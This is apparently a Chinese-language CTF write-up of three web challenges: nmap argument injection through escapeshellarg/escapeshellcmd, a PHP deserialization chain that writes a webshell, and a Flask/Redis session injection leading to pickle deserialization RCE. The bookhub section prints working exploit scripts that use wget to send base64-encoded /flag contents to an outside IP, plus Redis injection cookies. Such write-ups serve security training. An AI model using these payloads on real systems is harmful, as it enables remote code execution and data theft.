1.one line tool
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
這道題主要是命令注入,利用escapeshellarg 和 escapeshellcmd前后使用時通過注入單引號來導致逃逸出一個單引號 從而導致可以參數注入
這里主要用到nmap的兩個參數-iL 和-oN 以任意格式輸出,-oX不行,這樣不會把/flag的內容輸出,必須要用-N才能解析/flag中的內容,從而輸出到指定的路徑,像這種短的代碼都可以拿到本地來測試,也很方便調試。
payload:' + -iL /flag + -oN 輸出路徑
2.upload
這道題來自2019強網杯,直接掃描目錄就能得到源代碼,之后就進行代碼審計:
對於這種mvc框架性的web,可以直接先看其路由,然后結合路由以及控制器去看程序的邏輯
首先反序列化點在此,那么接下來要找可以利用的類,那么既然存在反序列化那么就要找__destruct方法了,一共有四個類:
但是只有index.php才存在__destruct方法,那么我們應該反序列化這個類來觸發漏洞
那么這里通過序列化profile類來進行反序列化,這里調用index()方法,而其不存在index方法,則會調用__call方法
這里__call方法又會調用name屬性,也就是index屬性,但是明顯不存在這個屬性,那么此時會調用__get方法,返回profile類的except數組中的值,當時我想的是這里能不能直接進行代碼執行,因為有這一串:
$this->{$this->{$name}}($arguments);
這里是不能夠任意代碼執行的
這里只能調用profile類中的已經定義的方法,因為是先解析出來$this->$d的值,然后再調用$this>"b"(),此時不存在b方法,並不會去解析$b變量,所以這里通過調用上傳文件方法,來達到寫shell的效果:
3.bookhub
這道題在登陸時限制了一些內網的ip的白名單,並且給了一個外網的ip,此時修改xff是不行的,nginx獲取到的是中間轉發過去的ip地址
,而給的外網ip的5000端口就開了一個debug模型的web,buu里面直接給的debug模式下的。
然后就是涉及未授權訪問,這里涉及到python的修飾器調用順序
正常情況下,如上圖,調用順序為login_required->user_blueprint,但是在debug模式下:
這里login_required放在了外層,那么就沒用了,可以直接訪問refresh_session方法,這里做題的時候直接觀察也可以,除了這一處其它地方login都在里層。這個函數的作用是清除除了自己的以外所有人的session
首先訪問這個路由,發現需要設置csrf token
然后回到登陸頁找到表單的csrf token值,再次訪問
此時訪問成功了,此時又涉及到session的拼接,prefix不可控,但是flask的session在客戶端,是可以控制的,因此進行拼接
又因為app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:',所以可以拼接:
19a79b29-3524-4efa-99d6-3997ae425761",redis evilcode,"bookhub:session:aaa
首先對我們的bookhub:session進行一個覆蓋,賦值為aaa,然后將redis的惡意數據拼接進去,然后當我們帶着aaa這個session當問的時候就會觸發pickle反序列化來執行惡意代碼。所以接下來就是如何構造evilcode,我們可以給自己構造的session賦值為反彈shell的值。然后再帶着session觸發序列化即可。
首先生成payload:
import cPickle import os class exp(object): def __reduce__(self): s="wget 104.224.146.7:23333?`cat /flag* | base64`" return (os.system,(s,)) e = exp() s = cPickle.dumps(e) s_bypass = "" for i in s: s_bypass +="string.char(%s).."%ord(i) evilcode = ''' redis.call("set","bookhub:session:tr1ple",%s) '''%s_bypass[:-2] payload = ''' 6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:tr1ple '''%evilcode print payload.replace(" ","")
這里要用到cpickle來生成序列化的數據,然后再拼接到payload中
這里首先要帶着生成的payload作為cookie值去訪問login來得到csrf的token值,然后此時再向 /admin/system/refresh_session/ 頁面post我們的csrf_token&submit,此時並將payload放到bookhub-session中,此時就能夠將cookie值設置到redis中,那么此時只要再訪問login頁面就能觸發redis反序列化session中的payload,從而帶出flag的值
然后此時再觸發session的拼接,然后此時帶着bookhub-session為tr1ple的值訪問login,就會觸發反序列化
此時vps上已經接收到了flag的值
當我們進入redis,想要查看存儲的值時,可以使用keys *來查看所有存儲的值
import cPickle
import os class genpoc(object): def __reduce__(self): s = """wget 104.224.146.7:23333""" return os.system, (s,) evil = cPickle.dumps(genpoc()) print evil.replace("\n","\\n")
我們也可以不用轉碼來構造pickle的序列化數據
bookhub-session=aaa"} redis.call("set","bookhub:session:aaa","pickle序列化數據")--;
通過redis.call來設置session值,這里app里已經設置了session的前綴為bookhub:session:,所以aaa的值就可以設置為序列化數據
此時就能夠帶上csrf_token去訪問refresh頁面來設置新的cookie值,然后再設置session為aaa去訪問login從而觸發反序列化,同樣能收到請求